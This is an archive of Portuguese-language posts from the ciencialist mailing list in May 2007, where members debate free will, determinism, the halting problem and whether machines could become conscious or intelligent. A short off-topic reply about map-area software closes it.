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SUBJECT: Re: [ciencialist] P/ Takata - O problema da parada - (era P/ CHicão - [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 15:47

Homero, Takata chegou onde eu quero.
De fato, todo computador trava e nem todo homem trava.
Por isso, considero "superior" o mecanismo de
raciocinio humano.

--- Oraculo <oraculo@atibaia.com.br> escreveu:

> Olá Takata
>
> Takata: "Misomenos. É possível se criar uma entrada
> q faça com q o computador
> não consiga decidir pela parada."
>
> Tem razão, mas mesmo nesse caso é uma variação do
> loop infinito, não? O paradoxo mencionado pelo
> Chicão seria o do tipo lógico, como a "força
> irresistível contra o obstáculo inamovível". Uma
> avaliação intelectual, não um obstáculo prático,
> pelo menos foi o que entendi.
>
> E o loop infinito pode causar dano, paradas ou
> quebras mesmo em mentes humanas, não artificiais,
> como a pulsão compulssivo/obssessiva demonstra.
> Alguns pacientes entram em "loop" de lavar as mãos,
> fechar a janela, lavar as mãos, fechar as janelas,
> etc, até o limite da exaustão. Outros não podem
> ouvir uma música sem ter um "loop" na mente até
> atrapalhar o resto dos processos mentais, ou uma
> idéia que se repete indefinidamente.
>
> Seria interessante discutir o problema da parada na
> lista, acho que o pessoal iria gostar bastante
> (embora isso vá deixar o Ferrari na ponta dos cascos
> de felcidade poética..:-).
>
> Um abraço.
>
> Homero
>
>
> [As partes desta mensagem que não continham texto
> foram removidas]
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 15:51

--- Jeff <jeff@jeff.com.br> escreveu:
> >
> >O paradigma que envolve o mecanismo do pensamento
> > humano é "superior" ao paradigma das máquinas. Nós
> > humanos, somos capazes de brincar com proposições
> > auto-referentes que geram paradoxos enquanto que
> os
> > computadores "se quebram" nesse ponto.
>
> Ainda.

Não é ainda, é um resultado teórico do qual não se
pode fugir.

> Eu imagino que fenômenos como sentimentos, emoções,
> consciência e idéia de
> livre artíbtrio, por exemplo, podem ir surgindo
> apenas com a complexidade de
> uma rede neural artificial. Outro dia eu lí uma
> notícia da criação de um
> projeto chamado "Blue Brain", que é a simulação de
> um cérebro com milhões de
> "neurônios" (artificiais), usando milhares de
> processadores, pois o
> processamento é absurdo. Estes cientistas disseram
> que quando ligam este
> "cérebro", observam um comportamento parecido com um
> "cérebro real" como se
> tivesse acordando (vai "despertanto" devagar).
> Depois começam a ocorrer
> ligações *expontaneas* de neurônios que foram grupos
> e criam padrões que
> "pulsam" ritmadamente... Tudo isso "sozinho".

Mas o problema da parada ainda continua e humanos não
travam com paradoxos, como Takata bem colocou. Além do
mais essa indução otimista que você está fazendo é
extremamente perigosa. Ninguem garante que sentimentos
e todo o resto que você citou possam ser descritos por
computador.


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 16:17


--- Manuel Bulcão <manuelbulcao@uol.com.br> escreveu:

> Oi João e Chicão,
>
> > Como se faz uma escolha sem uma causa ??
>
> Não há fenômeno sem causa, no entanto...

O takata acabou de falar sobre fenomenos da MQ que
contrariam essa afirmação.




> Existem equações não lineares que possuem um
> conjunto de "n" soluções
> possíveis. De modo semelhante, no mundo subatômico e
> no reino dos
> sistemas complexos, as causas produzem diversas
> possibilidades de
> efeitos. Qual dos efeitos se realizará, isso é
> contingente.
>
> Sabe-se que um isótopo instável decairá e que ele
> tem uma meia-vida,
> porém, é impossível se saber o momento exato em que
> se dará o seu
> decaimento.
>
> Como afirmou o químico e filósofo Robert Havemann, a
> necessidade
> determina o "possível" (e os graus de
> probabilidade), porém não
> o "real".
>
> Vale dizer, a relação entre a causa e seu conjunto
> de efeitos
> possíveis {x, y, k} é "necessária". Entretanto, a
> relação dessa mesma
> causa com cada elemento desse conjunto considerado
> isoladamente, x, y
> ou k, é contingente.
>
> Deu pra entender? :-)

Cara, se seu disser que entendi alguma coisa estarei
mentindo :-).



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SUBJECT: Re: [ciencialist] Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 16:25

--- Joao de Carvalho <joaobncarvalho@hotmail.com>
escreveu:
> > Função de utilidade ?
>
> Uma ação que se justifica visando algum estado
> futuro. A ciência
> rejeita a idéia de que uma causa possa se encontrar
> depois do
> fenômeno.

Um efeito que vêm antes da causa ou uma função de
utilidade baseado em alguma informação certa
do futuro ??
Aquele eu só vi nos resultados de Godel para a
cosmologia(enviei um link a pouco).

> > Não entendi essa de Aristóteles.
>
> Aristóteles define uns cinco tipos de causa. Uma
> delas é a causa
> final, isto é, uma causa que se encontra no futuro.
> Desconfio que seu
> objetivo basicamente era explicar o desenvolvimento
> dos seres vivos,
> pois ele era muito ligado em biologia. Uma semente
> se desenvolve
> *para* se tornar uma árvore. A causa de seu
> desenvolvimento é o
> tornar-se árvore.

Teleologia. Se há finalidades, quem as fez ???

> > Máquinas podem fazer escolhas?
> É bom, em uma discussão, tomar cuidado com o
> embasamento dos
> conceitos que estamos lidando. O que estamos
> chamando de "escolha"?
> Se não existe livre arbítrio, não existe escolha no
> sentido original
> do termo. Um computador jogador de xadrez avalia um
> número enorme de
> jogadas possíveis e "escolhe" a que ele acha mais
> apropriada. Se um
> jogador humano procede da mesma forma é uma questão.
> Acredito que
> sim.

No caso do computador, não há escolha mas
determinismo.
A escolha sem aspas ao qual voce se refere , eu tambem
não tenho veredicto.
Os humanos possuem livre arbitrio ou suas escolhas não
passam de "escolhas"?


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: P/ Chicão - O problema da parada - (era P/ CHicão - [RN] MOSCAS E LIVRE ARB
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 16:49

Olá Chicão

Chicão: "Homero, Takata chegou onde eu quero.
> De fato, todo computador trava e nem todo homem trava.
> Por isso, considero "superior" o mecanismo de
> raciocinio humano."

Bem, isso significa apenas que sistemas de segurança do cérebro
parecem ser mais eficazes que os dos softwares do computador..:-)

Mas, nem isso é verdade, pois TODO homem trava, desde que o
equivalente a loops ou erros de software (ou boot) sejam aplicados.
Por exemplo, todo homem, todo sistema do cérebro "trava" se uma
pancada for aplicada, um tipo de "re-boot" forçado, como nos KnockOut
o boxe.

Mesmo que fosse assim, que os sistemas "anti-travamento" do cérebro
fossem melhores (e temos que considerar que a evolução vem testando
sistemas de segurança há bem mais tempo que programadores de
software..:-), seriamos superiores apenas nesse sentido, de evitar com
mais sucesso "travamentos".

Não significa que seriamos superiores de forma absoluta ou no aspecto
cognitivo. E isso se aplica mesmo a cérebros com sérios problemas, que
travam a toda hora: seus portadores ainda podem ser extremamente
inteligentes e capazes, dotados de auto-consciência e um "self" como
todo nós.

Tenho sempre alguma restrição e cuidado ao encontrar o uso do termo
"superior". Penso que será sempre algo relativo, e não absoluto, e não
serve como parâmetro de julgamento por seu aspecto profundamente
subjetivo (se considerar a inteligência, somos superiores as aves, mas
se considerar a capacidade de locomoção, elas ganham fácil).

Um abraço.

Homero




SUBJECT: Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 16:54

Salve, João!

João de Carvalho: Mas a maior parte dos fenômenos, praticamente
todos, eu diria, podem ser entendidos, incluindo o decaimento dos
núcleos instáveis. Eu tenho esta convicção profunda de que Deus não
joga dados.

Manuel: Se não existe acaso objetivo, o que significa dizer que o
futuro está determinado de antemão, então qual a explicação
psicofísica para o fenômeno da volição?

Ou seja, Se o futuro, tanto quanto o passado, já está determinado,
então por que *instintivamente* agimos como se ele não o estivesse?
Isto é, se o que acontecerá já está dado, por que então existem
agentes físicos impulsionados pela *vontade* de que algo -
logicamente possível de acontecer - *não aconteça*?

Se o acaso é uma ilusão, então a ilusão do acaso é necessária. Por
quê? Qual lei determina a ilusão do acaso? E qual a explicação física
para a sua existência?

Toda lei física determina um comportamento padrão, geral. Ocorre que,
como frisou Hegel, "todas as coisas possuem aspectos que se repetem
em muitos outros fenômenos" - os aspectos `gerais', as qualidades-
padrão, traduzíveis em leis – "e aspectos que não se repetem nas
outras coisas". Esses últimos aspectos é o que define
a "singularidade" do evento, sua idiossincrasia.

O "singular" é algo que só acontece uma vez, razão pela qual foge ao
escopo da ciência, dado que a ciência só se ocupa com o geral, com o
universal, com os comportamentos padrões. No entanto, há quem pense
diferente.

O determinismo laplaciano (e o Einstein das `variáveis ocultas' era
laplaciano, assim como Freud - com seu determinismo psíquico - e até
mesmo Darwin - enquanto defendeu a hipótese lamarckista das gêmulas),
é um reducionismo vulgar, na medida em que dilui o singular no
universal, isto é, defende que todo aspecto singular é redutível a
uma lei geral ou sistema de leis (produto de um cruzamento de nexos
causais traduzível, em última análise, numa fórmula matemática com
uma só solução).

Ora, as leis físicas possuem em suas formulações matemáticas uma e/ou
outra constante natural, Como "G", a velocidade da luz (v), o quantum
de ação de Planck (h), a massa do elétron, a massa do próton, a
unidade de medida do spin das partículas subatômicas etc. E qual o
valor numérico dessas constantes? A velocidade da luz (constante da
lei E = m.v^2) é "mais ou menos" 299.792,458... km/s (um número
irracional, muito provavelmente "não computável", ou seja, um número
que compreende uma dízima "infinita", aleatória e para a qual não
existe um algoritmo ou regra que identifique o n-ésimo dígito). Todas
as outras constantes são, no mais das vezes, alguma coisa
multiplicada ou dividida por números irracionais de igual cepa.

As mais fundamentais leis da física, portanto, encerram em si o
infinito não computável (299.792,458..., 6,6726..., 6,625...,
9,10938188... etc.). Ora, o infinito não computável é imensurável,
portanto, "indeterminado". Logo, muitas leis físicas, supostamente
férreas, possuem "por princípio" uma margem de incerteza, o que
equivale dizer que a necessidade pressupõe certa dose de acaso.

Abraços,
Manuel Bulcão
PS: Takata, se você achar por bem desconstruir toda a minha
elucubração, pelo menos ponha um pouco de vaselina, ok? Lembre-se que
eu não tenho mais intestino grosso, nem reto.



SUBJECT: P/ Chicão - Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 16:58

Olá Chicão

Chicão: "Mas o problema da parada ainda continua e humanos não travam
com paradoxos, como Takata bem colocou. "

Não, não foi isso exatamente que o Takata alegou (por isso ele começa
com o termo takatiano "misomenos"..:-). Ele lembrou que existem tipos
de algoritmos como loops infinitos, que podem ser chamados de paradoxo
(eu discordo um pouco, mas é discutível o uso do termo), e não
paradoxos lógicos.

Eu dei o exemplo da força irresistível contra o obstáculo
inamovível..:-) E lembrei que mentes também entram em loop, também tem
paradas, e também tem loops.

E aleguei ainda que a estabilidade da mente humana deriva de um
substrato material, então a não ser que aponte o elemento
diferenciador, nada impede que uma complexidade resultante de
elementos que não carbono (silício por exemplo), apresentem as mesmas
propriedades, emoção inclusive.

Computadores podem ignorar e continuar a funcionar normalmente mesmo
quando apresentados a problemas de auto-referência. Pode tentar com a
planilha Excell, informando em uma fórmula uma célula auto-referente.
Receberá apenas um alerta que não é possível calcular fórmulas dessa
forma, sem travamento ou "quebra".

Pode dizer que, no momento, nosso sistema anti-quebras lógicas é
melhor que o dos softwares e computadores, mas não pode afirmar que
será assim para sempre ou que a mesma complexidade, e as mesmas
propriedades do cérebro humano, não possam surgir em cérebros
artificiais (de silício ou de outro elemento). Seria um salto lógico
não autorizado, sem evidências de suporte.

Um abraço.

Homero





SUBJECT: Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 17:05

Oi Chicão,

Manuel escrevera: Não há fenômeno sem causa, no entanto...

Chicão: O takata acabou de falar sobre fenomenos da MQ que
> contrariam essa afirmação.

Manuel: Não contraria. Qualquer evento quântico´"indeterminado" só
ocorre porque "é possível", e, na MQ, o possível é determinado. Por
isso que se diz que a MQ é determinística na medida em que
determina "finamente" o que é possível e o que é impossível de
acontecer, bem como o grau de probabilidade de cada uma das
possibilidades.

Abraços,
Manuel Bulcão



SUBJECT: Re: [ciencialist] P/ CHicão - [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 17:14

Pra resumir minha resposta sobre tudo isso que voce
escreveu segue:

1 - Homens são capazes de fazer a mesma coisa(aplicar
a logica)que os computadores. Embora em muitos casos,
o homem levaria muito tempo para realiza-los;

2 - Computadores não são capazes de fazer tudo que os
homens fazem. Como por exemplo, lidar com certos
paradoxos;

3 - Definir inteligencia como algo que o computador
faz
cai no problema 2;

4 - Não sabemos se todos os seres vivos(com execeção
do homem) agem de acordo com o paradigma da computação
de turing;

5 - Concorda-se que o homem é mais inteligente(sim mas
o que é inteligencia afinal?) que todas as outras
especies vivas da Terra.

Dito tudo isso, concluímos que não sabemos fazer algo
inteligente(como um homem) mas percebemos quando algo
se manifesta de forma inteligente. È muito dificil um
macaco conseguir escrever o livro de Bulcao digitando
aleatoriamente. Mesmo um computador precisaria de uma
cópia do livro armazenada em sua memória.
Sendo assim podemos falar de efeito inteligente.

Já se perguntou por que no teste de turing(que voce
mencionou indiretamente) o juiz é um homem
e não um computador ?

Já se perguntou por que no teste de turing o juiz está
incumbido de distinguir quem é o homem e quem é o
computador ?

Já que não sabemos como fazer algo inteligente mas
sabemos que ela se manifesta objetivamente(chame de
y), entao a definição de algo inteligente x poderá ser
quando x nao puder ser distinguido de y.

Muitos Amplexos.

--- Oraculo <oraculo@atibaia.com.br> escreveu:

> Olá Chicão
>
> Chicão: "O paradigma que envolve o mecanismo do
> pensamento
> humano é "superior" ao paradigma das máquinas. Nós
> humanos, somos capazes de brincar com proposições
> auto-referentes que geram paradoxos enquanto que os
> computadores "se quebram" nesse ponto. Na verdade,
> todo o paradigma das máquinas de turing se quebram
> neste ponto."
>
> Isso não é verdade, é apenas uma invenção de filmes
> de ficção científica..:-) Computadores são
> perfeitamente capazes de reconhecer e superar um
> paradoxo, fazendo o mesmo que nós, deixando "prá lá"
> e continuando. Não se confunde com o travamento de
> rotinas por loop infinito, que é outra coisa. Esse
> negócio de dar uma tarefa com um paradoxo a um
> super-computador que está prestes a dominar o mundo,
> e ele "quebrar" por causa disso, não é real..:-)
>
> Vou tentar dar meus pitacos com relação a sua
> mensagem anterior também sobre o que seria
> inteligência e livre arbítrio, ok?
>
> Definir termos complexos como inteligência será
> sempre difícil, mas podemos perceber algumas
> caracteristicas necessárias que envolvem essa
> capacidade, em especial a intenção, que se baseia em
> expectativa de futuro. Uma ação é inteligente ao
> resolver um problema, no sentido de que o agente faz
> uma previsão válida ou não sobre o resultado dessa
> ação.
>
> Quando se diz que a evolução não é aleatória, mas
> não é intencional, e não é inteligente, é justamente
> devido a falta dessa caracteristica, ela não
> pretende resolver um problema, ainda que "pareça"
> fazer isso.
>
> Uma ameba pode agir para se mover e se afastar de um
> perigo, como luz ou agentes químicos. Mas sua ação
> não tem a intenção de protege-la, nem ela, a ameba,
> o faz por inteligência em qualquer sentido. Ela
> apenas responde a gradientes bioquímicos, que a
> mantém segura. Essas ações ou reações foram
> "filtradas" nos milhares de anos de evolução, sendo
> que qualquer ameba com menor sensibilidade
> automática a esses gradientes, teve morte mais
> rápida que os antepassados das atuais. Podem nascer,
> como devem nascer, amebas com atração bioquímica por
> gradientes mortais, mas sua durabilidade no planeta
> é curta, e seus genes, genes que determinam essa
> atração, dificilmente permanecerão no pool genético
> da espécie.
>
> Temos assim ações claramente não-inteligentes.
>
> E embora exista um enorme gradiante entre essas
> ações automáticas, e claramente não inteligentes, e
> as ações de seres humanos, também podemos perceber
> quando algo claramente inteligente está agindo. Por
> exemplo, um chimpanzé que corta um galho de árvore
> fino, prepara o mesmo retirando as folhas e limpando
> as imperfeições, se dirige para um cupinzeiro
> distante, e usa o galho adrede (sempre quis usar
> essa palavra e nunca achei onde..:-) preparado para
> capturar e comer cupins que se prendem ao galho,
> está sendo de alguma forma inteligente, no sentido
> mais evidente deste termo.
>
> Em algum momento do gradiente entre a ameba e o
> chimpanzé ações deixaram de ser apenas respostas,
> para ser ações com alguma dose de previsão
> consciente. E o surgimento da concisencia é parte do
> problema da inteligência. É preciso uma entidade
> mental para ser objeto da propriedade
> 'inteligência".
>
> O que o DI afirma é justamente que este universo, ou
> pelo menos parte dele, permite concluir que havia
> algum tipo de previsão envolvida em sua criação. Não
> serve ao DI uma força criadora não intencional, da
> mesma forma como não se pode dar a um raio que
> destroi uma árvore o status de divindade ou
> entidade. O raio não "intenciona" destruir a árvore,
> mas Zeus sim..:-) Infelizmente (para o DI..:-) nunca
> encontramos algo assim de verdade..:-)
>
> Máquinas de turing são interessantes, não porque se
> quebram em paradoxos, o que não acontece. É tão
> difícil para uma máquina de turing explicar um
> paradoxo, quanto para um ser humano (e alguns
> humanos jamais entendem um paradoxo). O que as
> torna interessantes é que, se não pudermos decidir
> se é ou não uma máquina, apenas conversando com
> elas, elas podem, ou não, ter o que chamamos de
> "consciência". Veja, eu estou conversando com você,
> e embora eu nunca o tenha visto, você me parece um
> ser humano, e parece ter uma consciência, um "self",
> e parece ter inteligência. Se eu precisasse apostar
> nisso, apostaria que você tem ambos.
>
> Mas, e se eu descobrisse que este tempo todo estive
> conversando com um software? E se todas nossas
> mensagens tivessem do seu lado um sistema de
> respostas IA? Eu poderia, claro, decidir que, uma
> vez que é artificial, não tem consciência, apenas
> porque é artificial, uma máquina, e não biológico,
> um ser humano.
>
> Mas, isso é correto? Como eu sei que você, ou outro
> ser humano, tem consciência? Da mesma forma como eu
> decidi que o software tinha, conversando. Não posso
> "testar" sua consciência, a de nenhum ser humano,
> ela não é algo que eu possa identificar diretamente.
> E você não pode provar sua consciência para mim, seu
> "self". Apenas confio no fato de que, sendo eu um
> ser humano, e sendo que aparentemente eu tenho isso
> que chamamos de consciência, outros seres humanos
> devem ter também. Mas é uma indução, com toda
> fragilidade que induções suportam.
>
> Outro ponto importante é que se todos temos
> consciência, está subsiste em um substrato material,
> concreto, físico, nosso cérebro. E surgiu pelo
> aumento de complexidade cognitiva e relacional das
> conexões nervosas, durante o gradiente evolutivo de
> milhões de anos, da ameba a chimpanzés (e seres
> humanois).
>
> Mais uma vez, por indução, posso perfeitamente
> aceitar que em outro tipo de substrato material,
> silício por exemplo, no lugar de carbono, a mesma
> complexidade permita o surgimento da consciência,
> como ocorreu conosco.
>
> Assim, o mesmo mecanismo racional que nos leva a
> considerar que outros seres humanos tem consciência,
> a indução, permite-nos considerar que não há
> impedimento real no surgimento da IA verdadeira, com
> consciência e inteligência.
>
> Um abraço.
>
> Homero
>
> PS: Para não ficar prolixo demais, o livre arbítrio
> vai em outra mensagem..:-)
>
>
> [As partes desta mensagem que não continham texto
> foram removidas]
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
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SUBJECT: Re: [ciencialist] Re: P/ Chicão - O problema da parada - (era P/ CHicão - [RN] MOSCAS E LIVRE ARB
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 17:20

Eu falo de travar com lógica e não com algum efeito
físico. O computador tabém "trava" se eu der uma
pancada bem forte nele.
Quanto ao termo "superior" eu já expliquei antes do
que se trata.


--- oraculo333 <oraculo@atibaia.com.br> escreveu:
> Olá Chicão
>
> Chicão: "Homero, Takata chegou onde eu quero.
> > De fato, todo computador trava e nem todo homem
> trava.
> > Por isso, considero "superior" o mecanismo de
> > raciocinio humano."
>
> Bem, isso significa apenas que sistemas de segurança
> do cérebro
> parecem ser mais eficazes que os dos softwares do
> computador..:-)
>
> Mas, nem isso é verdade, pois TODO homem trava,
> desde que o
> equivalente a loops ou erros de software (ou boot)
> sejam aplicados.
> Por exemplo, todo homem, todo sistema do cérebro
> "trava" se uma
> pancada for aplicada, um tipo de "re-boot" forçado,
> como nos KnockOut
> o boxe.
> Mesmo que fosse assim, que os sistemas
> "anti-travamento" do cérebro
> fossem melhores (e temos que considerar que a
> evolução vem testando
> sistemas de segurança há bem mais tempo que
> programadores de
> software..:-), seriamos superiores apenas nesse
> sentido, de evitar com
> mais sucesso "travamentos".
> Não significa que seriamos superiores de forma
> absoluta ou no aspecto
> cognitivo. E isso se aplica mesmo a cérebros com
> sérios problemas, que
> travam a toda hora: seus portadores ainda podem ser
> extremamente
> inteligentes e capazes, dotados de auto-consciência
> e um "self" como
> todo nós.
>
> Tenho sempre alguma restrição e cuidado ao encontrar
> o uso do termo
> "superior". Penso que será sempre algo relativo, e
> não absoluto, e não
> serve como parâmetro de julgamento por seu aspecto
> profundamente
> subjetivo (se considerar a inteligência, somos
> superiores as aves, mas
> se considerar a capacidade de locomoção, elas ganham
> fácil).
>
> Um abraço.
>
> Homero
>
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] P/ Chicão - Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 17:42

Homens entram em loop porque algo nao funciona direito
e computadores tambem podem entrar em loop devido ao
mau funcionamento. Homens não entram em loop quando se
deparam com paradoxos auto-inferentes, computadores em
alguns casos, sim.
Além do mais, seu exemplo do Excel não serve como
contra-exemplo desse principio.



--- oraculo333 <oraculo@atibaia.com.br> escreveu:

> Olá Chicão
>
> Chicão: "Mas o problema da parada ainda continua e
> humanos não travam
> com paradoxos, como Takata bem colocou. "
>
> Não, não foi isso exatamente que o Takata alegou
> (por isso ele começa
> com o termo takatiano "misomenos"..:-). Ele lembrou
> que existem tipos
> de algoritmos como loops infinitos, que podem ser
> chamados de paradoxo
> (eu discordo um pouco, mas é discutível o uso do
> termo), e não
> paradoxos lógicos.
>
> Eu dei o exemplo da força irresistível contra o
> obstáculo
> inamovível..:-) E lembrei que mentes também entram
> em loop, também tem
> paradas, e também tem loops.
>
> E aleguei ainda que a estabilidade da mente humana
> deriva de um
> substrato material, então a não ser que aponte o
> elemento
> diferenciador, nada impede que uma complexidade
> resultante de
> elementos que não carbono (silício por exemplo),
> apresentem as mesmas
> propriedades, emoção inclusive.
>
> Computadores podem ignorar e continuar a funcionar
> normalmente mesmo
> quando apresentados a problemas de auto-referência.
> Pode tentar com a
> planilha Excell, informando em uma fórmula uma
> célula auto-referente.
> Receberá apenas um alerta que não é possível
> calcular fórmulas dessa
> forma, sem travamento ou "quebra".
>
> Pode dizer que, no momento, nosso sistema
> anti-quebras lógicas é
> melhor que o dos softwares e computadores, mas não
> pode afirmar que
> será assim para sempre ou que a mesma complexidade,
> e as mesmas
> propriedades do cérebro humano, não possam surgir em
> cérebros
> artificiais (de silício ou de outro elemento). Seria
> um salto lógico
> não autorizado, sem evidências de suporte.
>
> Um abraço.
>
> Homero
>
>
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: P/ Chicão - Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 17:54

Olá Chicão

Chicão: " Homens não entram em loop quando se
> deparam com paradoxos auto-inferentes, computadores em
> alguns casos, sim."

Por favor, pode dar algum exemplo disso? Um problema de paradoxo que
pode fazer um computador entrar em loop ou travar?

E alegar que hoje não podemos construir um software que simule
perfeitamente a mente humana, leva a conclusão que isso é impossível e
sempre será, não é lógico ou razoável.

Seria o mesmo que alegar, no início do século passado, que porque só
podíamos construir aviões de velocidade baixa, há hélice, jamais
conseguiríamos construir aviões que superariam a velocidade do som
(limite físico da propulsão a hélice).

Além disso, a inteligência não se mede pela capacidade de escrever um
livro, mas de pensar em termos de conseqüências, e chimpanzés
apresentam evidências de que podem agir assim. Portanto, o livro do
Manuel não é uma evidência válida.

Homens apresentam o que psicólogos chama de dissonância cognitiva, uma
forma de lidar com problemas paradoxais e crenças distoantes. Nada
impede que se programe uma capacidade assim em um software.

Se a capacidade de inteligência, e seus derivados, pode surgir em um
cérebro, material e concreto, humano, a partir da complexidade
neuronal, é uma conclusão razoável que possa acontecer de novo em
outro substrato material.

Um abraço.

Homero




SUBJECT: Re: [ciencialist] [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/05/2007 18:00

Olá Chicão,

>
> Mas o problema da parada ainda continua e humanos não
> travam com paradoxos, como Takata bem colocou. Além do
> mais essa indução otimista que você está fazendo é
> extremamente perigosa. Ninguem garante que sentimentos
> e todo o resto que você citou possam ser descritos por
> computador.
>

Como o Homero bem explicou, o nosso cérebro pode entrar em loop em algumas
situações (adiciono doenças neurológicas) e um computador pode prever loops
e se esquivar facilmente (o problema é do software).

Mas estou falando de rede neural artificial, que é uma modelo matemático
bastante simples baseado no funcionamento de um cérebro real (bem
simplificado). Como disse no e-mail anterior, uma rede neural com meia-dúzia
de neurônios é capaz de aprender valores (o que é bom e o que é ruim, por
exemplo), em treinamento (aprendizado supervisionado) e, quando colocada pra
trabalhar, numa situação real, toma decisões baseadas nestes valores. MAS,
ela continua aprendendo e, depois de algum tempo, pode até mudar seus
valores e tomar atitudes racionais que ninguém previa. Você teria então que
conhecer toda a experiência desta rede e analisá-la para entender porque que
ela tomou aquela atitude (como um psicólogo faria com um humano :-)

Agora imagine bilhões de neurônios e um sistema mais sofisticado... Como eu
sei como uma rede neural artificial funciona, já montei uma e ví funcionar,
eu imagino que, no futuro, uma rede neural muito complexa poderá fazer
coisas estranhas, incompreensíveis, aparentemente irracionais, que vamos
chamar de "sentimentos".

O problema é saber quando que uma máquina artificial adquiriu
"consciência"... Isso que a gente acha que tem e nem sabe direito o que é...

[]´s,
Jeff.



SUBJECT: Re: [ciencialist] P/ Chicão - Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 18:09

--- oraculo333 <oraculo@atibaia.com.br> escreveu:
> Olá Chicão
> Chicão: " Homens não entram em loop quando se
> > deparam com paradoxos auto-inferentes,
> computadores em
> > alguns casos, sim."
>
> Por favor, pode dar algum exemplo disso? Um problema
> de paradoxo que
> pode fazer um computador entrar em loop ou travar?

Halting Problem.

> E alegar que hoje não podemos construir um software
> que simule
> perfeitamente a mente humana, leva a conclusão que
> isso é impossível e
> sempre será, não é lógico ou razoável.

Com o paradigma de máquinas de Turing, não.

> Seria o mesmo que alegar, no início do século
> passado, que porque só
> podíamos construir aviões de velocidade baixa, há
> hélice, jamais
> conseguiríamos construir aviões que superariam a
> velocidade do som
> (limite físico da propulsão a hélice).

Não existe limite teórico para se construir aviões a
jato. No caso que estamos discutindo, sim.
È a mesma coisa de querer construir um avião que viaje
mais rápido que a luz.

> Além disso, a inteligência não se mede pela
> capacidade de escrever um
> livro, mas de pensar em termos de conseqüências, e
> chimpanzés
> apresentam evidências de que podem agir assim.
> Portanto, o livro do
> Manuel não é uma evidência válida.

Isso aí voce discute com Manuel :-).


> Homens apresentam o que psicólogos chama de
> dissonância cognitiva, uma
> forma de lidar com problemas paradoxais e crenças
> distoantes. Nada
> impede que se programe uma capacidade assim em um
> software.

Não haverá sucesso com o problema da parada e todos os
outros problemas que se reduzem a ele.

> Se a capacidade de inteligência, e seus derivados,
> pode surgir em um
> cérebro, material e concreto, humano, a partir da
> complexidade
> neuronal, é uma conclusão razoável que possa
> acontecer de novo em
> outro substrato material.

O problema não é físico mas sim do ramo da lógica de
primeira ordem. Estou com a impressão que voce anda
trocando os dois.





"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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são
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destinatário, saiba que leitura, divulgação ou cópia são proibidas.
Favor
apagar as informações e notificar o remetente. O uso impróprio será
tratado
conforme as normas da empresa e a legislação em vigor. Agradecemos sua
colaboração.


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SUBJECT: Res: [ciencialist] Re: OFF-TOPIC: Software para calcular área de mapa
FROM: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/05/2007 18:31

http://www.gpstm.com/index.php?lang=port

_\|/_

----- Mensagem original ----
De: José Carlos Antonio <profjc2003@yahoo.com.br>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Quarta-feira, 9 de Maio de 2007 23:49:18
Assunto: [ciencialist] Re: OFF-TOPIC: Software para calcular área de mapa













Acho que isso não daria certo não, Takata, pois mapas topográficos

indicam superfícies tridimensionais. Dari certo se houvesse uma

maquete da superfície curva, pois nessa caso poderíamos recobri-la com

papel e depois pesar, como você sugeriu para o caso do mapa plano.



Minha "inguinorança" não permite pensar em nenhuma solução simples

